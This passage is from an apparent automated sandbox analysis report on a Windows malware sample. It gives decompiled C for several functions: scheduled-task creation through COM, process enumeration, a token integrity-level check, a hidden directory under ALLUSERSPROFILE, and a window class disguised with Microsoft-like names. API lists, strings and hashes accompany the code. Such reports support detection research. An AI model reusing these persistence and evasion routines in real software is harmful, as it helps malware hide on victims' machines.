						 *((intOrPtr*)( *((intOrPtr*)( *_t126 + 0x80))))(_t126,  &_v1888); // executed
						_t209 = _a16;
						if(_a16 != 0) {
							E00406709(_t209, _a16,  &_v2144);
							_t174 = _v12;
							 *((intOrPtr*)( *((intOrPtr*)( *_t174 + 0x88))))(_t174,  &_v2144);
						}
						_t128 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t128 + 0xa8))))(_t128, 0xd65cb580);
						_push( &_v1040);
						_push( &_v1044);
						_t132 = _v12;
						_push(_t132);
						if( *((intOrPtr*)( *((intOrPtr*)( *_t132 + 0xc))))() >= 0) {
							E00406502( &_v1092, 0x30);
							GetLocalTime( &_v1112);
							SystemTimeToFileTime( &_v1112,  &_v1120);
							_t143 = 0x47868c00;
							if(_a20 == 1) {
								_t143 = 0x29b92700;
							}
							_v1120.dwLowDateTime = _v1120.dwLowDateTime + _t143;
							asm("adc [ebp-0x458], edx");
							FileTimeToSystemTime( &_v1120,  &_v1112);
							if(_a20 == 0) {
								_v1060 = 1;
								_v1056 = 1;
								_v1072 = 0x5a0;
								_v1068 = 2;
							}
							_v1092 = 0x30;
							_v1074 = _v1112.wMinute;
							_v1076 = _v1112.wHour;
							_v1084 = _v1112.wDay;
							_v1086 = _v1112.wMonth;
							_t151 = _v1112.wYear;
							_v1088 = _t151;
							_v1082 = _t151 + 0x64;
							_v1080 = 1;
							_v1078 = 1;
							_t154 = _v1040;
							 *((intOrPtr*)( *((intOrPtr*)( *_t154 + 0xc))))(_t154,  &_v1092);
							E00406519(0x408103, 0x10,  &_v3424);
							_push( &_v1096);
							_push( &_v3424);
							_t160 = _v12;
							_push(_t160);
							if( *((intOrPtr*)( *((intOrPtr*)( *_t160))))() >= 0) {
								_t165 = _v1096;
								 *((intOrPtr*)( *((intOrPtr*)( *_t165 + 0x18))))(_t165, 0, 1); // executed
								if(_a24 != 0) {
									_t169 = _v12;
									 *((intOrPtr*)( *((intOrPtr*)( *_t169 + 0x30))))(_t169); // executed
								}
								_t167 = _v1096;
								 *((intOrPtr*)( *((intOrPtr*)( *_t167 + 8))))(_t167);
							}
							_t163 = _v1040;
							 *((intOrPtr*)( *((intOrPtr*)( *_t163 + 8))))(_t163);
						}
						_t135 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t135 + 8))))(_t135);
					}
					_t114 = _v8;
					_t102 =  *((intOrPtr*)( *((intOrPtr*)( *_t114 + 8))))(_t114);
				}
				L00406D18();
				return _t102;
			}

0x00405678
0x00405687
0x0040568f
0x00405694
0x00405696
0x004056a9
0x004056bc
0x004056c4
0x004056cb
0x004056cc
0x004056ce
0x004056d0
0x004056d6
0x004056d7
0x004056df
0x004056f3
0x00405706
0x00405724
0x0040572d
0x00405732
0x0040573d
0x00405746
0x00405754
0x00405759
0x00405763
0x0040576f
0x0040577f
0x00405786
0x00405787
0x00405789
0x00405789
0x00405797
0x004057a0
0x004057a9
0x004057b5
0x004057b7
0x004057bb
0x004057c7
0x004057d3
0x004057df
0x004057df
0x004057e6
0x004057f2
0x004057fa
0x00405801
0x00405802
0x00405807
0x00405810
0x0040581f
0x0040582b
0x0040583e
0x00405843
0x0040584c
0x0040584e
0x0040584e
0x00405855
0x0040585b
0x0040586f
0x00405878
0x0040587a
0x00405884
0x0040588b
0x00405895
0x00405895
0x0040589f
0x004058af
0x004058bd
0x004058cb
0x004058d9
0x004058e0
0x004058e7
0x004058f2
0x004058f9
0x00405902
0x00405912
0x0040591e
0x0040592e
0x00405939
0x00405940
0x00405941
0x00405946
0x0040594e
0x00405954
0x00405960
0x00405966
0x00405968
0x00405971
0x00405971
0x00405973
0x0040597f
0x0040597f
0x00405981
0x0040598d
0x0040598d
0x0040598f
0x00405998
0x00405998
0x0040599a
0x004059a3
0x004059a3
0x004059a5
0x004059ae

APIs

Part of subcall function 004059B1: CoInitialize.OLE32(00000000), ref: 004059CF
Part of subcall function 004059B1: CoCreateInstance.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,?,?,?,?,000000C7), ref: 00405A10
Part of subcall function 004059B1: CoUninitialize.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,?,?,?,?,000000C7), ref: 00405A46

CoInitialize.OLE32(00000000), ref: 00405696
CoCreateInstance.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,00000000,?,?,?,?), ref: 004056D7
CoUninitialize.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,00000000,?,?,?,?), ref: 004059A5

Part of subcall function 00406011: GetCurrentProcess.KERNEL32 ref: 00406028
Part of subcall function 00406011: OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 00406036
Part of subcall function 00406011: LocalAlloc.KERNEL32(00000000,?,00000000,00000008,?), ref: 00406048
Part of subcall function 00406011: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,00000000,00000008,?), ref: 0040605F
Part of subcall function 00406011: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 0040606D
Part of subcall function 00406011: LocalAlloc.KERNEL32(00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00406077
Part of subcall function 00406011: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000), ref: 0040608E
Part of subcall function 00406011: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 0040609E
Part of subcall function 00406011: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 004060B6
Part of subcall function 00406011: CloseHandle.KERNEL32(?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 004060BE

GetUserNameExW.SECUR32(00000002,?,?,?,00000400,?,0040539D,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 00405789
GetLocalTime.KERNEL32(?,?,00000030,?,0040539D,?,00000014,?,00000000,00000001,00000000,00000018,?,?,?,00000002), ref: 0040582B
SystemTimeToFileTime.KERNEL32(?,?,?,?,00000030,?,0040539D,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 0040583E
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00000030,?,0040539D,?,00000014,?,00000000,00000001,00000000,00000018), ref: 0040586F

Strings

0, xrefs: 0040589F

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: LocalTime$Token$AllocCreateFileFreeInformationInitializeInstanceProcessSystemUninitialize$AuthorityCloseCurrentHandleNameOpenUser
String ID: 0
API String ID: 1653648096-4108050209
Opcode ID: 57f161f16dd4508731a6e7b8cf997cf3f9173c867c851e82aeb10cd0cff592e5
Instruction ID: 8cc4f1ee7a705493b6474916a1b8874aa2f30ca1ee600d3c20551088863436ca
Opcode Fuzzy Hash: 57f161f16dd4508731a6e7b8cf997cf3f9173c867c851e82aeb10cd0cff592e5
Instruction Fuzzy Hash: 0AA1EBB5900618AFDB10DB94CC85FDAB3BCEF48304F1040EAE609E7291D675AE85CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00405A52 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00405A52(void* __eflags, intOrPtr _a4) {
				void* _v8;
				char _v16;
				char _v268;
				void* _v304;
				char _v560;
				char _v816;
				char _v820;
				void* _t26;
				int _t33;
				char _t43;
				char* _t50;
				void* _t51;

				E00406502( &_v820,  &_v16 - _t51);
				E00406519(_a4, 0xffffffff,  &_v560);
				_t26 = CreateToolhelp32Snapshot(2, 0); // executed
				_v8 = _t26;
				_t53 = _t26 - 0xffffffff;
				if(_t26 == 0xffffffff) {
					L13:
					return _v820;
				}
				E00406502( &_v304, 0x128);
				_v304 = 0x128;
				E00406A3A(_t53, E0040694A("kernel32.dll"), "Process32First"); // executed
				_t33 = Process32First(_v8,  &_v304); // executed
				while(_t33 != 0) {
					E0040647B( &_v268,  &_v816, E0040673B(__eflags,  &_v268) + 1);
					_t50 =  &_v816;
					while(1) {
						__eflags =  *_t50;
						if(__eflags == 0) {
							break;
						}
						__eflags =  *_t50 - 0x40;
						if( *_t50 > 0x40) {
							__eflags =  *_t50 - 0x5b;
							if( *_t50 < 0x5b) {
								 *_t50 =  *_t50 + 0x20;
								__eflags =  *_t50;
							}
						}
						_t50 = _t50 + 1;
						__eflags = _t50;
					}
					_t43 = E00406756(__eflags,  &_v816,  &_v560);
					__eflags = _t43;
					if(_t43 == 0) {
						_push( &_v304);
						_push(_v8);
						_t33 =  *((intOrPtr*)(E00406A3A(__eflags, E0040694A("kernel32.dll"), "Process32Next")))();
						continue;
					}
					_v820 = 1;
					break;
				}
				CloseHandle(_v8); // executed
				goto L13;
			}

0x00405a69
0x00405a7a
0x00405a83
0x00405a88
0x00405a8b
0x00405a8e
0x00405b67
0x00405b71
0x00405b71
0x00405aa0
0x00405aa5
0x00405ac9
0x00405ace
0x00405b57
0x00405af3
0x00405af8
0x00405b0e
0x00405b0e
0x00405b11
0x00000000
0x00000000
0x00405b00
0x00405b03
0x00405b05
0x00405b08
0x00405b0a
0x00405b0a
0x00405b0a
0x00405b08
0x00405b0d
0x00405b0d
0x00405b0d
0x00405b21
0x00405b26
0x00405b28
0x00405b3c
0x00405b3d
0x00405b55
0x00000000
0x00405b55
0x00405b2a
0x00000000
0x00405b2a
0x00405b62
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00405A83
Process32First.KERNEL32(00000000,Process32First,kernel32.dll,?,?,?,00000128,?,000000FF,?,?,?,kdnku,?,00000003), ref: 00405ACE
CloseHandle.KERNEL32(?,?,00000003), ref: 00405B62

Strings

kernel32.dll, xrefs: 00405AB9, 00405B40
Process32Next, xrefs: 00405B4A
kdnku, xrefs: 00405A5D
Process32First, xrefs: 00405AC3

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID: Process32First$Process32Next$kdnku$kernel32.dll
API String ID: 1083639309-1437348922
Opcode ID: fdc144fc475e96a618908eee38677bc3b2c74aa4217264e6cb3ce1f10cedcac3
Instruction ID: ed862f2a686962f604f765c41e4e7fd64fc35594d7737385bf46639fa62b90cf
Opcode Fuzzy Hash: fdc144fc475e96a618908eee38677bc3b2c74aa4217264e6cb3ce1f10cedcac3
Instruction Fuzzy Hash: 273171B19001187ADB11EBB0CC45FDEB6BC9F05318F5005BBB286B20C1EB78AB558F68

Uniqueness

Uniqueness Score: -1.00%

Function 033F092B Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

., xrefs: 033F095F
GetProcAddress., xrefs: 033F09DC, 033F09DF, 033F09E4
l, xrefs: 033F0966

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 0ff62e5f12ee1a9dcb7123e304d8e897f5571cb1fcb3509c5ccb191bbf64d808
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 50316CB6900609DFDB14CF99C880AAEFBF9FF48324F54405AD941AB311D771EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405E34 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 78
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E00405E34(intOrPtr _a4) {
				struct HINSTANCE__* _v8;
				struct _WNDCLASSA _v48;
				struct HWND__* _v52;
				struct tagMSG _v80;
				char _v336;
				char _v592;
				struct HICON__* _t38;
				struct HWND__* _t43;
				void* _t54;
				void* _t55;

				E00406502( &_v592, _t54 - _t55);
				E00406519("Microsoft", 0xa,  &_v336);
				E00406519("win32app", 9,  &_v592);
				_v8 = GetModuleHandleA(0);
				_v48.style = 0;
				_v48.lpfnWndProc = _a4;
				_v48.cbClsExtra = 0;
				_v48.cbWndExtra = 0;
				_v48.hInstance = _v8;
				_v48.lpszMenuName = 0;
				_v48.lpszClassName =  &_v592;
				_t38 = LoadIconA(0, 0x7f04); // executed
				_v48.hIcon = _t38;
				_v48.hCursor = LoadCursorA(0, 0x7f01);
				_v48.hbrBackground = 6;
				RegisterClassA( &_v48);
				_push(0);
				_push(_v8);
				_push(0);
				_push(0);
				_push(0x96);
				_push(0x1f4);
				_push(0xfa0);
				_push(0xfa0);
				_push(0xc80000);
				_push( &_v336);
				_t43 =  &_v592;
				_push(_t43);
				ExitProcess(0x80); // executed
				_v52 = _t43;
				ShowWindow(_v52, 1); // executed
				UpdateWindow(_v52);
				L1:
				GetMessageA( &_v80, 0, 0, 0); // executed
				TranslateMessage( &_v80);
				DispatchMessageA( &_v80); // executed
				goto L1;
			}

0x00405e48
0x00405e5b
0x00405e6e
0x00405e7a
0x00405e7d
0x00405e87
0x00405e8a
0x00405e91
0x00405e9b
0x00405e9e
0x00405eab
0x00405eb5
0x00405eba
0x00405ec9
0x00405ecc
0x00405ed7
0x00405edc
0x00405ede
0x00405ee1
0x00405ee3
0x00405ee5
0x00405eea
0x00405eef
0x00405ef4
0x00405ef9
0x00405f04
0x00405f05
0x00405f0b
0x00405f11
0x00405f16
0x00405f1e
0x00405f26
0x00405f2b
0x00405f35
0x00405f3e
0x00405f47
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,win32app,00000009,?,Microsoft,0000000A,?,?), ref: 00405E75
LoadIconA.USER32 ref: 00405EB5
LoadCursorA.USER32 ref: 00405EC4
RegisterClassA.USER32 ref: 00405ED7
ExitProcess.KERNEL32(00000080,?,?,00C80000,00000FA0,00000FA0,000001F4,00000096,00000000,00000000,?,00000000,00000000,00000000,00007F01,00000000), ref: 00405F11
ShowWindow.USER32(?,00000001,00000080,?,?,00C80000,00000FA0,00000FA0,000001F4,00000096,00000000,00000000,?,00000000,00000000,00000000), ref: 00405F1E
UpdateWindow.USER32(?), ref: 00405F26
GetMessageA.USER32 ref: 00405F35
TranslateMessage.USER32(?), ref: 00405F3E
DispatchMessageA.USER32 ref: 00405F47

Strings

win32app, xrefs: 00405E69
Microsoft, xrefs: 00405E56

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Message$LoadWindow$ClassCursorDispatchExitHandleIconModuleProcessRegisterShowTranslateUpdate
String ID: Microsoft$win32app
API String ID: 2466556465-2644191155
Opcode ID: a2ebbe30816c01a7cd0466d885fc3a365ea67a3c5b6fd6f00d8609d13b2fe84f
Instruction ID: cd865d72e889b0fa07897d5830deff4b489e5192a13314010f9d1c39bb4d4237
Opcode Fuzzy Hash: a2ebbe30816c01a7cd0466d885fc3a365ea67a3c5b6fd6f00d8609d13b2fe84f
Instruction Fuzzy Hash: 6531FEB0E44318BAEB50EFE5CC46FDDB6B8AF04704F11406AF609FA1C1D7B966148B69

Uniqueness

Uniqueness Score: -1.00%

Function 00406011 Relevance: 15.1, APIs: 10, Instructions: 66
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406011() {
				void* _v8;
				void** _v16;
				long _v20;
				long _v24;
				int _t30;

				_v24 = 0;
				_v20 = 8;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v8) != 0) {
					_v16 = LocalAlloc(0, _v20);
					_t30 = GetTokenInformation(_v8, 0x19, _v16, _v20,  &_v20); // executed
					if(_v20 > 8) {
						LocalFree(_v16);
						_v16 = LocalAlloc(0, _v20);
						_t30 = GetTokenInformation(_v8, 0x19, _v16, _v20,  &_v20); // executed
					}
					if(_t30 != 0 && GetSidSubAuthority( *_v16, 0) != 0) {
						E0040647B(_t34,  &_v24, 4);
					}
					LocalFree(_v16);
					CloseHandle(_v8); // executed
				}
				return _v24;
			}

0x0040601a
0x00406021
0x0040603d
0x0040604d
0x0040605f
0x00406068
0x0040606d
0x0040607c
0x0040608e
0x0040608e
0x00406095
0x004060ae
0x004060ae
0x004060b6
0x004060be
0x004060be
0x004060ca

APIs

GetCurrentProcess.KERNEL32 ref: 00406028
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 00406036
LocalAlloc.KERNEL32(00000000,?,00000000,00000008,?), ref: 00406048
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,00000000,00000008,?), ref: 0040605F
LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 0040606D
LocalAlloc.KERNEL32(00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00406077
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000), ref: 0040608E
GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 0040609E
LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 004060B6
CloseHandle.KERNEL32(?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 004060BE

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Local$Token$AllocFreeInformationProcess$AuthorityCloseCurrentHandleOpen
String ID:
API String ID: 1358183241-0
Opcode ID: a84f11b9a0c533d77ffc79ee0290248109a0df7b71e80b526f53eb96ce76c91f
Instruction ID: 9d23d5f118752ab0844389ed853a55cb2cec80d153f4919e6488b264da541d25
Opcode Fuzzy Hash: a84f11b9a0c533d77ffc79ee0290248109a0df7b71e80b526f53eb96ce76c91f
Instruction Fuzzy Hash: 42116731D00109BAEF11EBE1CC02EAEBB79EF44308F11843AB212B50D1CB795A249B68

Uniqueness

Uniqueness Score: -1.00%

Function 033F003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 033F024D

Strings

cess, xrefs: 033F018D
kernel32.dll, xrefs: 033F008F, 033F0095

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 14acfc4f76e935a56d114d9f262598c4f98134c50747d42df94bd05efaa5a40d
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 7D526A74A01229DFDB64CF58C984BACBBB5BF09304F5480D9E54DAB352DB30AA85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00405F52 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E00405F52(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t8;

				if(_a8 == 0x4a) {
					E004059B1(__eflags, "kdnku");
					L00406C9A();
					ExitProcess(0); // executed
					return CreateWindowExA();
				}
				_t8 = DefWindowProcA(_a4, _a8, _a12, _a16); // executed
				return _t8;
			}

0x00405f5c
0x00405f76
0x00405f7b
0x00406b3f
0x00406b44
0x00406b44
0x00405f6a
0x00405f89

APIs

DefWindowProcA.USER32(?,0000004A,?,?), ref: 00405F6A
WSACleanup.WSOCK32(kdnku), ref: 00405F7B
ExitProcess.KERNEL32(00000000,0000EA60,a2guard.exe,00002710,00405BE5,00000000,00002710), ref: 00406B3F

Strings

J, xrefs: 00405F58
kdnku, xrefs: 00405F71

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: CleanupExitProcProcessWindow
String ID: J$kdnku
API String ID: 4061260214-1604535700
Opcode ID: b10ce8d7c2b65cc4cb5545aed3ad08137721dc151b546cbb592452e9397e8358
Instruction ID: 1c9877dcbc464e142f95ab3c86c82274073401e85ced2dbbcf4e7e8a55d1ff95
Opcode Fuzzy Hash: b10ce8d7c2b65cc4cb5545aed3ad08137721dc151b546cbb592452e9397e8358
Instruction Fuzzy Hash: EEE01271208159FBDB012E969C02E9B3B24EB45399F018437F516780D2457D6421EB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405B74 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E00405B74(void* __eflags, CHAR* _a4, void* _a8) {
				void* _t23;
				void* _t27;

				_t27 =  &(_a4[GetEnvironmentVariableA("ALLUSERSPROFILE", _a4, 0x100)]);
				asm("stosb");
				_t4 = E00406862(0x5c, 4) + 4; // 0x4
				_t23 = _t4;
				do {
					_t11 = E00406862(_t11, 0x18) + 0x61;
					asm("stosb");
					_t23 = _t23 - 1;
					_t34 = _t23;
				} while (_t23 != 0);
				asm("stosb");
				 *_t27 = 0;
				CreateDirectoryA(_a4, 0); // executed
				memcpy(_t27, _a8, E0040673B(_t34, _a8));
				asm("stosb");
				asm("stosb");
				asm("stosb");
				asm("stosb");
				asm("stosb");
				return _a4;
			}

0x00405b8f
0x00405b94
0x00405b9c
0x00405b9c
0x00405b9f
0x00405ba6
0x00405ba9
0x00405baa
0x00405baa
0x00405baa
0x00405baf
0x00405bb0
0x00405bb8
0x00405bca
0x00405bce
0x00405bd1
0x00405bd4
0x00405bd7
0x00405bda
0x00405be2

APIs

GetEnvironmentVariableA.KERNEL32(ALLUSERSPROFILE,?,00000100,kdnku,?,00000003,?,00401178,?,kdnku,00000000,?,00000100,a2guard.exe,00002710,00405BE5), ref: 00405B87
CreateDirectoryA.KERNEL32(?,00000000,00000018,00000004,ALLUSERSPROFILE,?,00000100,kdnku,?,00000003,?,00401178,?,kdnku,00000000,?), ref: 00405BB8

Strings

kdnku, xrefs: 00405B79
ALLUSERSPROFILE, xrefs: 00405B82

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: CreateDirectoryEnvironmentVariable
String ID: ALLUSERSPROFILE$kdnku
API String ID: 2250995361-375517468
Opcode ID: 12f0b8802b84da1583a6417564e37ab1779b47929224abf3c688b8e30fecc618
Instruction ID: fcbf84066e48d81a28d5364346bd3194f4ac637313fa3c6b77bb0aa684d8c96a
Opcode Fuzzy Hash: 12f0b8802b84da1583a6417564e37ab1779b47929224abf3c688b8e30fecc618
Instruction Fuzzy Hash: 62F0F43A100108BACB00EE1ACC02FC93F229B587D9F519035F7212B2C2CF75E612AF64

Uniqueness

Uniqueness Score: -1.00%

Function 004059B1 Relevance: 4.6, APIs: 3, Instructions: 57
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E004059B1(void* __eflags, intOrPtr _a4) {
				void* _v8;
				char _v16;
				char _v1032;
				char _v1288;
				char _v1544;
				char* _t23;
				intOrPtr* _t27;
				intOrPtr* _t29;
				void* _t36;

				E00406502( &_v1544,  &_v16 - _t36);
				_push(0);
				L00406D12();
				E00406519(0x4080c3, 0x10,  &_v1288);
				E00406519(0x4080d3, 0x10,  &_v1544);
				_push( &_v8);
				_push( &_v1544);
				_push(1);
				_push(0);
				_t23 =  &_v1288;
				_push(_t23); // executed
				L00406D0C(); // executed
				_t38 = _t23;
				if(_t23 >= 0) {
					E00406709(_t38, _a4,  &_v1032);
					_t27 = _v8;
					 *((intOrPtr*)( *((intOrPtr*)( *_t27 + 0x1c))))(_t27,  &_v1032); // executed
					_t29 = _v8;
					_t23 =  *((intOrPtr*)( *((intOrPtr*)( *_t29 + 8))))(_t29); // executed
				}
				L00406D18(); // executed
				return _t23;
			}

0x004059c8
0x004059cd
0x004059cf
0x004059e2
0x004059f5
0x004059fd
0x00405a04
0x00405a05
0x00405a07
0x00405a09
0x00405a0f
0x00405a10
0x00405a15
0x00405a18
0x00405a24
0x00405a30
0x00405a39
0x00405a3b
0x00405a44
0x00405a44
0x00405a46
0x00405a4f

APIs

CoInitialize.OLE32(00000000), ref: 004059CF
CoCreateInstance.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,?,?,?,?,000000C7), ref: 00405A10
CoUninitialize.OLE32(?,00000000,00000001,?,?,004080D3,00000010,?,004080C3,00000010,?,?,?,?,?,000000C7), ref: 00405A46

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID:
API String ID: 948891078-0
Opcode ID: 10424596e6b0f4632c36d65246a6f3ae6221d7d1883e96a862b06ff9936da286
Instruction ID: 6cd6fe0a315c23d92707754d71c9a3609b2f53047033d4db71cf83f03e8649be
Opcode Fuzzy Hash: 10424596e6b0f4632c36d65246a6f3ae6221d7d1883e96a862b06ff9936da286
Instruction Fuzzy Hash: 98115EB6600208BEDB10EA95CD82FDF736C9F88308F1145AAB306E71C1DA75AA558F65

Uniqueness

Uniqueness Score: -1.00%

Function 033F0DF8 Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,033F0223,?,?), ref: 033F0E02
SetErrorMode.KERNELBASE(00000000,?,?,033F0223,?,?), ref: 033F0E07

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 90073f827da87693d94511225455659318e32c720e6a855dc9997c66be09342c
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 4BD0123114512C77D7002A94DC09BCDBB1C9F05B66F448011FB0DD9181C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9AB Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0040B14F,?,?,00000000,00000000,00000000,?,0040AD29,00000001,00000214), ref: 0040E9EE

Memory Dump Source

Source File: 00000000.00000002.305873396.000000000040A000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a000_R53a3ZJHBQ.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9c4b5cc782aa950718c820a84eb41e0203af9a9ff13f188db2019416f643a843
Instruction ID: 6f8c9ba13d3d82f4fc5307530dd3dcb37bdada545d9eecbd5ba05b0094a5917c
Opcode Fuzzy Hash: 9c4b5cc782aa950718c820a84eb41e0203af9a9ff13f188db2019416f643a843
Instruction Fuzzy Hash: 9F01B5313012269AEB699F27EC14B673754AB85364F01893FE815FB2D0DB78DC208A48

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8DE Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040A910

Memory Dump Source

